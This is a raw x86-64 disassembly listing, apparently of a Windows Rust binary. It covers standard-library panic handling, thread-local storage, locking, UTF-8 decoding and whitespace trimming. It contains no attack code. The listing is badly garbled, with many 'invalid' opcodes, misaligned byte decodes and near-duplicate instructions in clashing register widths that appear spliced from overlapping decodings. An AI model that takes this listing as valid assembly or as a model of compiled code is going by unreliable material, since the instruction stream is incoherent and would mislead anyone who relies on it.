add dword [eax - 0x77], ecx
invalid
lea rcx, [0x1400f91c0]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockShared]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xc8], 0
test r14b, r14b
je 0x140095492
mov byte [rbp + 0x67], 0
call fcn.140085fd0
jmp 0x1400958e0
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xc0], 1
jbe 0x1400954f7
mov byte [rbp + 0x66], 1
jmp 0x140095622
mov dword [rbp - 0x40], 0
mov byte [rbp - 0x3c], 0
lea rax, str.thread_caused_non_unwinding_panic._aborting._n
mov qword [rbp - 0x30], rax
ror byte [rax - 0x39], 1
fadd dword [r9]
add byte [rax], al
add byte [rcx + rcx*4 + 0x7d], cl
loopne 0x1400954c4
push rdi
invalid
movups xmmword [rbp - 0x18], xmm0
lea rax, [rbp - 0x40]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 0
lea rdx, [0x1400e86b0]
lea rcx, [rbp + 0x50]
lea r8, [rbp - 0x30]
call fcn.140042180
mov rcx, qword [rbp + 0x58]
test al, al
je 0x140095545
test rcx, rcx
lea rax, str.formatter_error
cmovne rax, rcx
jmp 0x140095559
mov rax, qword [0x1400f91a0]
cmp rax, 3
ja case.default.0x140095516
lea rcx, [0x1400f0d50]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [rbp + 0x67], 1
lea rdx, str.RUST_BACKTRACEfailed_to_create_whole_tree
lea rcx, [rbp - 0x30]
mov r8d, 0xe
call fcn.14007ff70
cmp byte [rbp - 0x18], 2
jne 0x1400955ab
mov eax, 3
mov sil, 2
jmp 0x14009560b
test rcx, rcx
je 0x140095557
mov byte [rbp + 0x67], 0
lea rcx, [rbp + 0x58]
call fcn.140079f00
xor eax, eax
mov qword [rbp + 0x50], rax
mov byte [rbp + 0x67], 0
lea rcx, [rbp + 0x50]
call fcn.14007a000
mov ecx, 7
int 0x29
ud2
mov sil, 1
jmp 0x140095612
mov sil, 2
jmp 0x140095612
xor esi, esi
jmp 0x140095612
mov byte [rbp + 0x67], 1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, [0x1400e8ff8]
mov edx, 0x28
call fcn.1400a9e70
jmp 0x1400958e0
mov r8, qword [rbp - 0x30]
mov rax, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x20]
cmp rcx, 4
je 0x1400955d0
cmp rcx, 1
jne 0x1400955ef
cmp byte [r8], 0x30
sete sil
add sil, sil
jmp 0x1400955f1
mov ecx, dword [r8]
bswap ecx
xor edx, edx
cmp ecx, 0x66756c6d
setae dl
cmp ecx, 0x66756c6c
sbb edx, 0
sete sil
jmp 0x1400955f1
xor esi, esi
test rax, rax
je 0x140095605
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea eax, [rsi + 1]
movzx eax, al
mov qword [0x1400f91a0], rax
mov byte [rbp + 0x66], sil
mov rsi, qword [rbp + 0x18]
mov rdi, qword [rbp]
mov rbx, qword [rbp + 8]
mov qword [rbp + 0x28], rsi
mov rax, qword [rbx + 0x18]
mov byte [rbp + 0x67], 1
mov rcx, rdi
call rax
movabs rcx, 0xc1a2c89ccd1e7bc1
xor rax, rcx
movabs rcx, 0xfdbc168100b1ef64
xor rdx, rcx
or rdx, rax
jne 0x14009572e
lea rax, [rdi + 8]
mov rcx, qword [rdi]
mov rax, qword [rax]
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x38], rax
mov byte [rbp + 0x67], 1
call fcn.14007a660
mov rsi, rax
mov eax, 9
lea rcx, [0x1400e96a0]
test rsi, rsi
je 0x140095698
mov rdx, qword [rsi + 0x18]
test rdx, rdx
je 0x140095698
mov rax, qword [rsi + 0x20]
dec rax
mov rcx, rdx
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], rax
lea rax, [rbp + 0x50]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rbp - 0x20], rax
lea rax, [rbp + 0x66]
mov qword [rbp - 0x18], rax
movzx eax, byte [0x1400f9150]
test al, al
mov qword [rbp + 0x30], rsi
je 0x14009578a
mov byte [0x1400f9150], 1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xe0], 0
jne 0x140095774
call fcn.140085900
test rax, rax
jne 0x14009577b
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadlocal.rs
lea r9, [0x1400e7f60]
lea r8, [rbp + 0x44]
mov edx, 0x46
call fcn.1400aa200
jmp 0x1400958e0
mov rax, qword [rbx + 0x18]
mov byte [rbp + 0x67], 1
mov rcx, rdi
call rax
movabs rcx, 0x4b9ccfb03a26ee7c
xor rax, rcx
movabs rcx, 0x9a9f137397802b83
xor rdx, rcx
or rdx, rax
jne 0x140095763
lea rax, [rdi + 0x10]
jmp 0x14009565a
mov eax, 0xc
lea rcx, [0x1400e9694]
jmp 0x140095660
lea rax, [rax + 0xe8]
mov rdi, qword [rax]
mov qword [rax], 0
test rdi, rdi
jne 0x1400957f6
mov dword [rbp + 0x44], 0
mov byte [rbp + 0x48], 0
mov qword [rbp - 0x48], 0
mov byte [rbp + 0x64], 0
lea r8, [0x1400e9700]
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x44]
call fcn.140094920
xor ebx, ebx
xor esi, esi
mov rdi, qword [rbp + 0x30]
test rdi, rdi
je 0x1400957d0
lock dec qword [rdi]
jne 0x1400957d0
mov rcx, rdi
call fcn.14007a600
test rbx, rbx
sete al
or sil, al
jne 0x140095432
lock dec qword [rbx]
jne 0x140095432
mov rcx, rbx
call fcn.140067ef0
jmp 0x140095432
lea rbx, [rdi + 0x10]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
mov qword [rbp - 0x50], rbx
je 0x140095913
call fcn.1400ae3b0
xor al, 1
mov dword [rbp + 0x4c], eax
movzx eax, byte [rdi + 0x18]
mov qword [rbp + 0x38], rdi
lea rdx, [rdi + 0x20]
lea r8, [0x1400e96b0]
lea rcx, [rbp - 0x30]
call fcn.140094920
cmp byte [rbp + 0x4c], 0
mov rbx, qword [rbp + 0x38]
jne 0x140095866
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
je 0x140095866
call fcn.1400ae3b0
test al, al
jne 0x140095866
mov byte [rbx + 0x18], 1
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov byte [0x1400f9150], 1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xe0], 0
jne 0x1400958e2
call fcn.140085900
test rax, rax
mov rdi, qword [rbp + 0x30]
mov rbx, qword [rbp + 0x38]
jne 0x1400958ed
lock dec qword [rbx]
jne 0x1400958b4
mov rcx, rbx
call fcn.140067ef0
mov byte [rbp + 0x65], 0
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadlocal.rs
lea r9, [0x1400e7f60]
lea r8, [rbp + 0x44]
mov edx, 0x46
call fcn.1400aa200
ud2
lea rax, [rax + 0xe8]
mov rdi, qword [rbp + 0x30]
mov rcx, qword [rax]
mov qword [rax], rbx
mov sil, 1
test rcx, rcx
je 0x1400957bd
lock dec qword [rcx]
jne 0x1400957bd
call fcn.140067ef0
jmp 0x1400957bd
mov dword [rbp + 0x4c], 0
jmp 0x140095824
mov dword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
jmp 0x140096b7e
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
call fcn.1400a57b0
cmp qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x48]
je 0x140096bb5
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x140096bbc
test rcx, rcx
jne 0x140096bc3
call fcn.1400401e0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.1400a9bd0
ud2
add byte [rax], al
add byte [rax - 0x48], cl
or al, byte [rax]
add byte [rax], al
or al, byte [rax]
add byte [rax], al
mov qword [rsp + 0xd8], rax
mov word [rsp + 0xe0], 0
xor eax, eax
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rcx
xor byte [rax - 0x73], cl
pop rsp
and al, 0x58
jmp 0x140096cc8
cmp r15, rdx
jb 0x140097619
nop dword [rax]
movzx eax, byte [rsp + 0xe1]
add byte [rax + rax*8 + 0x267850f], al
test al, al
jne case.0x140026edd.1983
add byte [rax], al
add byte [rax], al
mov rsi, qword [rsp + 0xb0]
mov esi, dword [rsp + 0xb0]
mov al, 0
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov rcx, rbx
mov rdx, r12
loop 0x140096cc7
jge 0x140096d30
std
invalid
invalid
loop 0x140096cc7
jge 0x140096d30
std
std
dec dword [rax - 0x7d]
jl 0x140096d0b
cmp qword [rsp + 0x58], 0
je 0x140096d20
pop rax
add byte [rbp + rsi + 0x48], dh
mov eax, dword [rsp + 0x68]
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xa0]
add rsi, rcx
mov qword [rsp + 0xa0], rax
sub rax, rcx
mov rdx, rax
sub rdx, 1
jb 0x140096cc0
invalid
jmp 0x140096d71
cmp byte [rsp + 0xe1], 0
jne case.0x140026edd.1983
mov byte [rsp + 0xe1], 1
and al, 0xe1
add byte [rax], al
add byte [rcx], al
cmp byte [rsp + 0xe0], 0
add byte [rax], al
add byte [rax - 0x75], cl
mov rsi, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
jne 0x140096d59
mov rsi, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
jne 0x140096d59
cmp rax, rsi
cmp eax, esi
je case.0x140026edd.1983
test dh, bl
add dword [rax], eax
add byte [rax + 0x29], cl
lock add rsi, qword [rsp + 0xb0]
add byte [rax], al
sub rax, rsi
add rsi, qword [rsp + 0xb0]
add byte [rax], al
add byte [rax], al
mov rdx, rax
sub rdx, 1
jb 0x140096cc0
cmp byte [rsi + rdx], 0xa
jne 0x140096da0
test rdx, rdx
je 0x140096cc0
cmp byte [rsi + rax - 2], 0xd
jne 0x140096da3
mov rdx, rax
lea rax, [rsi + rdx]
mov r8, rsi
xor r15d, r15d
jmp 0x140096ddf
movzx r9d, r9b
leave
lea r10, [0x1400eb37f]
test byte [r9 + r10], 1
je 0x140096cb3
nop word cs:[rax + rax]
sub r15, rcx
add r15, r8
cmp r8, rax
je 0x140096cc0
mov rcx, r8
movzx r8d, byte [r8]
movzx r9d, r8b
test r9b, r9b
js 0x140096e00
jbe 0x140096e60
movzx r11d, byte [rcx + 2]
shl edi, 6
and r11d, 0x3f
or r11d, edi
cmp r8b, 0xf0
jb 0x140096e79
movzx r9d, byte [rcx + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
je 0x140096cc0
lea r8, [rcx + 4]
cmp r9d, 0x20
jne 0x140096ea0
jmp 0x140096dd0
lea r8, [rcx + 2]
shl r10d, 6
or r10d, edi
mov r9d, r10d
cmp r9d, 0x20
jne 0x140096ea0
jmp 0x140096dd0
lea r8, [rcx + 3]
shl r10d, 0xc
add eax, dword [r9 - 0x3f]
loop 0x140096e8d
or r11d, r10d
mov r9d, r11d
cmp r9d, 0x20
je 0x140096dd0
invalid
nop word cs:[rax + rax]
cmp r9d, 0x110000
je 0x140096cc0
lea r10d, [r9 - 9]
cmp r10d, 5
jb 0x140096dd0
cmp r9d, 0x80
jb 0x140096cb3
mov r10d, r9d
retf 0xc141
shr r10d, 8
cmp r10d, 0x1f
cmp edx, 0x1f
invalid
cmp edx, 0x1f
jg 0x140096efa
test r10d, r10d
test edx, edx
je 0x140096daf
test cl, dl
invalid
invalid
cmp r10d, 0x16
cmp edx, 0x16
jne 0x140096cb3
cmp r9d, 0x1680
je 0x140096dd0
cmp r10d, 0x20
je 0x140096f1c
cmp r10d, 0x30
jne 0x140096cb3
cmp r9d, 0x3000
je 0x140096dd0
invalid
movzx r9d, r9b
movzx ecx, cl
lea r10, [0x1400eb37f]
test byte [r9 + r10], 2
add al, 0x11
invalid
pop rax
add eax, 0x4f64300
add byte [rbx - 0xa], al
add al, 0x11
invalid
add byte [rbx - 0xa], al
add al, 0x11
add cl, byte [rdi]
test dword [rsi - 0x16000002], ebx
invalid
invalid
invalid
invalid
jl 0x140096f32
jne 0x140096dd0
invalid
jmp 0x140096cb3
invalid
xor r15d, r15d
cmp byte [rsp + 0xe1], 0
mov qword [rsp + 0xf8], r14
je case.0x140026edd.1657
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x39], cl
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x38], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x60], rax
invalid
lea r13, [rsp + 0x68]
mov rcx, qword [rsp + 0xe8]
mov ecx, dword [rsp + 0xe8]
mov ecx, dword [rsp + 0xe8]
call 0x188096f82
mov dword [rsp + 0x68], ecx
and al, 0x68
add byte [rax - 0x77], cl
mov qword [rsp + 0x68], rcx
and al, 0x68
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
and al, 0x70
jo 0x140096fd4
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x78], 0
and al, 0x78
add byte [rax], al
add byte [rax], al
js 0x140096f91
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x88], 1
movabs rax, 0xa0000000a
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov dword [rsp + 0x88], 1
mov dword [rsp + 0x88], 1
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
movabs rax, 0xa0000000a
mov qword [rsp + 0x90], rax
mov word [rsp + 0x98], 0
mov r14d, 1
xor r12d, r12d
lea rbp, [rsp + 0x100]
jmp 0x140096ffb
add bl, ch
and al, 0x66
nop dword [rax + rax]
mov byte [r14 + r12], 0xa
inc r12
invalid
mov qword [rsp + 0x48], r12
and al, 0x48
invalid
and al, 0x48
cmp byte [rsp + 0x99], 0
jne case.0x140028086.1621
mov rbx, qword [rsp + 0x68]
pop rsp
and al, 0x68
mov rcx, rbp
mov rdx, r13
call fcn.14006bc60
cmp qword [rsp + 0x100], 0
and al, 0
add dword [rax], eax
add byte [rax], al
invalid
je 0x140097040
mov rdi, qword [rsp + 0x110]
mov edi, dword [rsp + 0x110]
mov rax, qword [rsp + 0x58]
add rbx, rax
mov qword [rsp + 0x58], rdi
sub rdi, rax
mov rax, rdi
sub rax, 1
jae case.0x140075b85.1946
jmp 0x1400970b0
nop dword [rax]
add byte [rax], al
cmp byte [rsp + 0x99], 0
cdq
add byte [rax], al
add byte [rax], al
jne case.0x140028086.1621
mov byte [rsp + 0x99], 1
cmp byte [rsp + 0x98], 0
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
jne 0x140097073
or dword [rax + 0x39], ecx
cmp rdi, rbx
je case.0x140028086.1621
cmp al, 2
add byte [rax], al
fisttp word [rdi]
test byte [rdx + rax], bh
cmp al, 2
cmp al, 2
add byte [rax], al
add byte [rax + 0x29], cl
sub rdi, rbx
fisttp word [rax + 3]
add rbx, qword [rsp + 0x68]
pop rsp
and al, 0x68
mov rax, rdi
sub rax, 1
add dword [rdx + 0x2c], esi
invalid
cmp byte [rbx + rax], 0xa
jne 0x1400970a0
cmp al, 3
or dh, byte [rbp + 0x16]
test rax, rax
je 0x1400970b0
cmp byte [rbx + rdi - 2], 0xd
lea rcx, [rdi - 2]
cmove rax, rcx
mov rdi, rax
invalid
nop
invalid
mov rsi, rdi
mov esi, edi
sub rsi, r15
sub esi, edi
jb 0x1400970ce
jmp 0x1400970ba
jmp 0x1400970ba
nop word [rax + rax]
xor edi, edi
mov rsi, rdi
sub rsi, r15
jb 0x1400970ce
mov rcx, qword [rsp + 0x30]
mov rdx, rbx
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400970f5
cmp r12, qword [rsp + 0x40]
jne 0x140096fe0
invalid
lea rcx, [rsp + 0x38]
mov rdx, r12
call fcn.1400749e0
mov r14, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
mov r12, qword [rsp + 0x48]
mov esp, dword [rsp + 0x48]
jmp 0x140096fe0
test rdi, rdi
je 0x1400970ce
add rcx, 2
shl r8d, 6
invalid
or r8d, r11d
invalid
mov edx, r8d
lea r8d, [rdx - 9]
cmp r8d, 5
cmp eax, 5
test dword [rcx - 0x7d], 0x237305f8
test dword [rcx - 0x7d], 0x237305f8
cmp eax, 5
clc
add eax, 0x1f0f2373
jae 0x14009713e
invalid
invalid
jae 0x14009713e
and ecx, dword [rdi]
invalid
nop dword [rax + rax]
add byte [rax], r8b
cmp rcx, rax
je 0x1400970ce
movzx r10d, byte [rcx]
movzx edx, r10b
mov dh, 0xd2
test dl, dl
sar byte [rax + 0x4f], cl
inc rcx
lea r8d, [rdx - 9]
test dword [rcx - 0x7d], 0xe27205f8
clc
invalid
jb case.0x1400281ec.2013
invalid
cmp edx, 0x20
je case.0x1400281ec.2013
invalid
fld qword [rcx + 0x80fa]
cmp edx, 0x80
jb 0x140097252
add eax, dword [rcx]
add byte [rax], al
invalid
add byte [rax], 0
add byte [rdi], cl
invalid
add eax, dword [rcx]
add byte [rax], al
add byte [rcx - 0x77], al
rol byte [rcx - 0x3f], 1
shr r8d, 8
cmp r8d, 0x1f
jg 0x14009720c
add byte [rcx - 0x77], al
rol byte [rcx - 0x3f], 1
shr r8d, 8
cmp r8d, 0x1f
test r8d, r8d
je case.0x1400281ec.1769
cmp r8d, 0x16
jne 0x140097252
cmp edx, 0x1680
je case.0x1400281ec.2013
jmp 0x140097252
rol byte [rax], cl
add byte [rax], al
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
pop rcx
add dword [rcx - 0x7d], eax
and ebx, 0x3f
invalid
pop rcx
add dword [rcx - 0x7d], eax
and ebx, 0x3f
invalid
invalid
cmp dl, 0xdf
jbe 0x140097103
invalid
invalid
invalid
movzx r9d, byte [rcx + 2]
movzx ecx, byte [rcx + 2]
add al, byte [rcx - 0x3f]
shl r11d, 6
jrcxz case.0x140075b85.1822
and r9d, 0x3f
and ecx, 0x3f
or r9d, r11d
fld dword [rcx - 0x80]
cli
cmp r10b, 0xf0
jb 0x1400971eb
invalid
invalid
movzx edx, byte [rcx + 3]
and r8d, 7
loopne case.0x1400281ec.1767
add eax, dword [rcx - 0x7d]
loopne case.0x1400281ec.1767
shl r8d, 0x12
shl eax, 0x12
shl r9d, 6
and edx, 0x3f
invalid
or edx, r9d
retf 0x944
ret 0xfa81
add byte [rax], al
adc dword [rax], eax
invalid
invalid
invalid
retf 0x944
ret 0xfa81
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rdi], cl
je 0x1400970ce
test dl, bh
invalid
add rcx, 4
lea r8d, [rdx - 9]
test dword [rcx - 0x7d], 0x820f05f8
cmp bh, bh
invalid
invalid
test dword [rcx - 0x7d], 0x820f05f8
clc
add eax, 0xff3a820f
invalid
cmp bh, bh
invalid
cmp bh, bh
invalid
jmp 0x14009713e
push rbx
invalid
dec dword [rax - 0x7d]
add rcx, 3
shl r8d, 0xc
shl eax, 0xc
rol dword [rbx], 0x41
shl eax, 0xc
or r9d, r8d
mov edx, r9d
lea r8d, [rdx - 9]
cmp r8d, 5
clc
add eax, 0xff19820f
invalid
invalid
clc
add eax, 0xff19820f
invalid
jmp 0x14009713e
invalid
cmp r8d, 0x20
je 0x14009723d
cmp r8d, 0x30
jne 0x140097252
cmp edx, 0x3000
je case.0x1400281ec.2013
cld
invalid
invalid
invalid
add byte [rdi], cl
test ah, bh
cld
cld
invalid
jmp 0x140097252
movzx edx, dl
lea r8, [0x1400eb37f]
test byte [rdx + r8], 1
add al, 2
invalid
add eax, 0x4f64200
add al, byte [rcx]
add byte [rdx - 0xa], al
add al, 2
add dword [rdi], ecx
invalid
test ebp, esp
jne case.0x1400281ec.2013
invalid
invalid
jmp 0x140097252
movzx edx, dl
mov dh, 0xd2
ror byte [rbp + rcx*4 + 5], cl
cmp byte [rcx + 5], al
add byte [rdx - 0xa], al
add al, 2
lea r8, [0x1400eb37f]
test byte [rdx + r8], 2
add cl, byte [rdi]
test esi, ecx
invalid
invalid
invalid
invalid
add cl, byte [rdi]
test esi, ecx
invalid
invalid
invalid
test r15, r15
je 0x140097267
cmp rdi, r15
jbe 0x140097267
cmp byte [rbx + r15], 0xbf
jle 0x14009763c
add eax, dword [rax]
add byte [rax - 0x75], cl
and al, 0x40
mov rax, qword [rsp + 0x40]
sub rax, r12
cmp rax, rsi
loopne 0x1400972b8
cmp eax, esi
jb 0x140097293
add rbx, r15
lea rcx, [r14 + r12]
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add r12, rsi
mov qword [rsp + 0x48], r12
mov dword [rsp + 0x48], esp
add byte [rcx + 1], cl
hlt
mov dword [rsp + 0x48], esp
jmp 0x1400970ce
cmp edi, esi
invalid
lea rcx, [rsp + 0x38]
mov rdx, r12
loop case.0x140028086.1576
mov eax, esi
loop case.0x140028086.1576
mov eax, esi
invalid
call fcn.1400ac2f0
push rax
add dword [rax], eax
mov r14, qword [rsp + 0x38]
and al, 0x38
mov r12, qword [rsp + 0x48]
jmp case.0x140026edd.1623
test r12, r12
je case.0x140028086.1576
mov rax, qword [rsp + 0x38]
cmp byte [rax + r12 - 1], 0xa
invalid
cmp byte [rdx - 0x80], al
jl 0x1400972dd
dec dword [rdx]
or dh, byte [rbp + 0x24]
jne case.0x140028086.1576
cmp qword [rsp + 0x50], 0
je 0x1400972dd
and al, 0x50
add byte [rsp + rdx + 0x48], dh
mov eax, dword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0xe8]
cmp byte [rax + rcx - 1], 0xa
and al, 0xe8
add byte [rax], al
add byte [rax + 0xaff087c], al
je case.0x140028086.1576
dec r12
mov qword [rsp + 0x48], r12
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xf8]
and al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rcx + 0x10], eax
movups xmm0, xmmword [rsp + 0x38]
add byte [rax], al
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rcx], xmm0
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rdi
ret
lea rsi, [rsp + 0x58]
lea esi, [rsp + 0x58]
pop rax
jmp 0x140097333
mov r12, rbx
nop dword [rax]
add byte [rax - 0x73], cl
add byte [rax - 0x73], cl
lea rsi, [rsp + 0x58]
je 0x140097348
pop rax
cmp byte [rsp + 0xe1], 0
mov esp, 0xe124
add byte [rax], al
jne case.0x140026edd.1932
invalid
mov rdi, qword [rsp + 0xb0]
mov rcx, rsi
mov rdx, r12
call fcn.14006bc60
cmp qword [rsp + 0x58], 0
cmp dword [rsp + 0x58], 0
std
dec dword [rax - 0x7d]
invalid
cmp dword [rsp + 0x58], 0
jl 0x14009736e
pop rax
add byte [rdx + rsi + 0x48], dh
xor cl, byte [rax - 0x75]
and al, 0x68
je 0x140097380
xor cl, byte [rax - 0x75]
mov rax, qword [rsp + 0x68]
and al, 0x68
mov rcx, qword [rsp + 0xa0]
add rdi, rcx
iretd
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0xa0], eax
and al, 0xa0
add byte [rax], al
add byte [rax + 1], cl
iretd
mov dword [rsp + 0xa0], eax
test byte [rax + riz*4], ah
movabs al, byte [0x8948c82948000000]
ret 0x8348
invalid
invalid
add byte [rax], al
add byte [rax + 0x29], cl
sub rax, rcx
mov rdx, rax
sub rax, rcx
mov rdx, rax
sub rdx, 1
jb 0x140097325
invalid
add dword [rdx - 0x4d], esi
jmp case.0x14002f3a6.1517
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp byte [rsp + 0xe1], 0
jne case.0x140026edd.1932
mov byte [rsp + 0xe1], 1
loope 0x140097393
add byte [rax], al
add dword [rax + 0xe024bc], eax
invalid
invalid
and al, 0xe0
loopne case.0x14002f3a6.1562
add byte [rcx], al
cmp byte [rsp + 0xe0], 0
mov esp, 0xe024
loopne case.0x14002f3a6.1562
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov esp, 0xa024
invalid
add byte [rax], al
add byte [rax], al
mov rdi, qword [rsp + 0xa0]
mov edi, dword [rsp + 0xa0]
movabs al, byte [0xa824848b48000000]
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0xa8]
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbp + 9], dh
jne 0x1400973b9
jne 0x1400973b9
cmp rax, rdi
cmp eax, edi
je case.0x140026edd.1932
test byte [rdi + 0x48fffffb], dl
invalid
sub rax, rdi
sub eax, edi
add rdi, qword [rsp + 0xb0]
add edi, dword [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
invalid
mov al, 0
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rax
mov edx, eax
ret 0x8348
sub rdx, 1
sub edx, 1
invalid
jb 0x140097325
invalid
invalid
cmp byte [rdi + rdx], 0xa
jne 0x140097400
invalid
sub dword [rax - 0x7b], ecx
ror byte [rdi], cl
test rdx, rdx
je 0x140097325
test byte [rbp - 1], al
invalid
invalid
test byte [rbp - 1], al
invalid
cmp byte [rdi + rax - 2], 0xd
jne case.0x140026edd.1628
invalid
sbb al, 0x48
add eax, 0xfffffffe
invalid
invalid
add rax, 0xfffffffffffffffe
sar dh, 0x48
mov rdx, rax
mov edx, eax
jne case.0x140026edd.1628
adc ebp, ecx
jmp 0x140097325
xor bh, bh
invalid
invalid
jmp qword [rsi + 0x66]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rdx, rax
invalid
invalid
add byte [rax], al
mov rdx, rax
mov edx, eax
lea rax, [rdi + rdx]
lea eax, [rdi + rdx]
invalid
mov r8, qword [rsp + 0x30]
and al, 0x30
lea rcx, [r8 + r15]
lea ecx, [rax + rdi]
xor r9d, r9d
mov qword [rsp + 0xf0], rdi
and al, 0xf0
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov r10, rdi
mov edx, edi
cli
nop
movzx r14d, byte [r10]
mov dh, 0x32
movzx r11d, r14b
movzx ebx, dh
test r11b, r11b
js 0x140097440
lea r14, [r10 + 1]
lea esi, [rdx + 1]
cmp r8, rcx
jne 0x1400974d0
xchg esi, eax
add byte [rax], al
add cl, ch
jmp 0x140097320
loope 0x14009743b
invalid
invalid
nop
mov ebp, r11d
and ebp, 0x1f
fld qword [rbx + 0xf411fe5]
mov dh, 0x72
jb case.0x140028086.1586
and esi, 0x3f
cmp r11b, 0xdf
jbe 0x14009749a
movzx esi, byte [r10 + 1]
jb case.0x140028086.1586
and esi, 0x3f
out 0x3f, al
cmp r11b, 0xdf
cmp bl, 0xdf
jbe 0x14009749a
movzx edi, byte [r10 + 2]
movzx edi, byte [r10 + 2]
movzx edi, byte [rdx + 2]
mov dh, 0x7a
add al, cl
out 6, al
invalid
shl esi, 6
invalid
and edi, 0x3f
or edi, esi
invalid
cmp r14b, 0xf0
jb 0x1400974b0
invalid
movzx r11d, byte [r10 + 3]
mov dh, 0x5a
pop rdx
add eax, dword [rbx - 0x1a3ef81b]
adc al, cl
invalid
and ebp, 7
in eax, 7
shl ebp, 0x12
in eax, 0x12
shl edi, 6
out 6, eax
and r11d, 0x3f
and ebx, 0x3f
invalid
or r11d, edi
sti
or r11d, ebp
cmp r11d, 0x110000
sti
add byte [rax], al
adc dword [rax], eax
jmp 0x1400974c1
sti
add byte [rax], al
adc dword [rax], eax
je 0x140097320
test byte [rsi + rdi*8 - 0x72b20001], dl
invalid
lea r14, [r10 + 4]
jb 0x140097494
cmp r8, rcx
jne 0x1400974d0
cmp ebp, ecx
xchg dh, bh
invalid
jmp 0x140097320
lea r14, [r10 + 2]
shl ebp, 6
or ebp, esi
mov r11d, ebp
cmp r8, rcx
jne 0x1400974d0
jmp 0x140097320
jo case.0x14002f3a6.1680
invalid
dec dword [rbp - 0x73]
lea r14, [r10 + 3]
jb 0x1400974b7
add eax, ecx
shl ebp, 0xc
in eax, 0xc
or al, 9
or edi, ebp
out dx, eax
mov r11d, edi
sti
cmp r8, rcx
je 0x140097320
pop rbx
invalid
nop word cs:[rax + rax]
invalid
